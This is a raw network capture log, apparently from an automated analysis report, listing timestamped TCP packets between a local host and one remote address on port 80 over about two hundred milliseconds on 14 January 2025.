Jan 14, 2025 19:18:28.569583893 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.569590092 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.569590092 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.569592953 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.569603920 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.569612980 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.569616079 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.569622040 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.569648981 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.569648981 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.569690943 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.570420980 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.570435047 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.570444107 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.570451975 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.570461035 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.570470095 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.570478916 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.570487022 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.570497036 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.570506096 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.570508003 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.570508003 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.570514917 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.570523977 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.570532084 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.570538044 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.570538044 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.570540905 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.570550919 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.570561886 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.570569992 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.570574045 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.570574045 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.570580959 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.570657015 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.571300983 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.571333885 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.571343899 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.571352959 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.571361065 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.571369886 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.571378946 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.571388006 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.571397066 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.571404934 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.571414948 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.571414948 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.571414948 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.571420908 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.571432114 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.571433067 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.571443081 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.571450949 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.571460009 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.571469069 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.571472883 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.571472883 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.571477890 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.571501017 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.571504116 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.571543932 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.571543932 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.572206020 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.572216988 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.572230101 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.572237968 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.572246075 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.572254896 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.572263956 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.572271109 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.572271109 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.572273016 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.572282076 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.572289944 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.572298050 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.572299957 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.572312117 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.572340012 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.572340012 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.572448969 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.654361963 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.654382944 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.654407978 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.654422045 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.654436111 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.654449940 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.654463053 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.654475927 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.654486895 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.654486895 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.654489994 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.654503107 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.654517889 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.654623985 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.654623985 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.654640913 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.654661894 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.654674053 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.654685020 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.654690027 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.654699087 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.654711962 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.654733896 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.654741049 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.654764891 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.654768944 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.654779911 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.654783964 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.654855013 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.654870033 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.654875994 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.654882908 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.654913902 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.654927969 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.654958963 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.654993057 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655026913 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.655026913 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.655052900 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655066013 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655078888 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655095100 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655108929 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655122995 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655126095 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.655126095 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.655169964 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.655205011 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655405045 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655421972 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655431986 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655442953 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655453920 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655463934 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655473948 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655484915 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655491114 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.655491114 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.655495882 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655505896 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655517101 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655528069 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.655528069 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655528069 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.655539036 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655549049 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655560017 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655591965 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.655591965 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.655814886 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655826092 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655836105 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655846119 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655852079 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.655852079 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.655855894 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655867100 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655878067 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655905962 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.655971050 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655983925 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.655993938 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.656008959 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.656009912 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.656021118 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.656030893 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.656040907 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.656048059 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.656050920 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.656060934 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.656071901 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.656081915 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.656089067 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.656089067 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.656092882 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.656104088 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.656111956 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.656115055 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.656128883 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.656142950 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.656150103 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.656150103 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.656156063 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.656167030 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.656189919 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.656330109 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.659504890 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.659554005 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.659564972 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.659576893 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.659586906 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.659593105 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.659605026 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.659617901 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.659629107 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.659672022 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.659672022 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.659701109 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.659710884 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.659720898 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.659732103 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.659744024 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.659754038 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.659769058 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.659769058 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.659904003 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.659914970 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.659925938 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.659940004 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.659943104 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.659943104 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.659950018 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.659960032 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.659970999 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.659982920 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.660015106 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.660015106 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.660064936 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.660254002 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.660269976 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.660283089 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.660289049 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.660295010 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.660307884 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.660320044 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.660320044 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.660332918 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.660343885 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.660346985 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.660355091 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.660366058 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.660377026 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.660388947 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.660393953 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.660393953 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.660401106 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.660412073 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.660423994 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.660423994 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.660427094 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.660446882 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.711277962 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.741442919 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.741519928 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.741563082 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.741574049 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.741607904 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.741662025 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.741695881 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.741741896 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.741741896 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.741750002 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.741801023 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.741833925 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.741883039 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.741916895 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.741930962 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.741930962 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.741949081 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.741981030 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.742021084 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.742069960 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.742089033 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.742089033 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.742101908 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.742151976 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.742202997 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.742234945 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.742265940 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.742266893 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.742285013 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.742315054 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.742317915 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.742347002 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.742378950 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.742410898 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.742451906 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.742451906 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.742459059 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.742491961 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.742523909 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.742554903 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.742561102 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.742585897 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.742608070 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.742636919 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.742691040 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.742701054 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.742722988 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.742772102 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.742791891 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.742819071 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.742852926 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.742887020 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.742918015 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.742927074 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.742927074 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.742973089 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.743021965 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.743052959 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.743084908 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.743096113 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.743115902 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.743118048 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.743164062 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.743211985 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.743220091 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.743244886 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.743277073 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.743309021 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.743335962 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.743365049 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.743371010 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.743403912 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.743436098 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.743468046 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.743499041 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.743508101 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.743508101 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.743530989 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.743549109 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.743571997 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.743603945 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.743635893 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.743664980 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.743669987 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.743701935 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.743706942 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.743753910 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.743768930 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.743786097 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.743870974 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.743905067 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.743937969 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.743947029 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.743947029 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.743969917 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744002104 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744009972 CET	49741	80	192.168.2.4	173.252.167.60
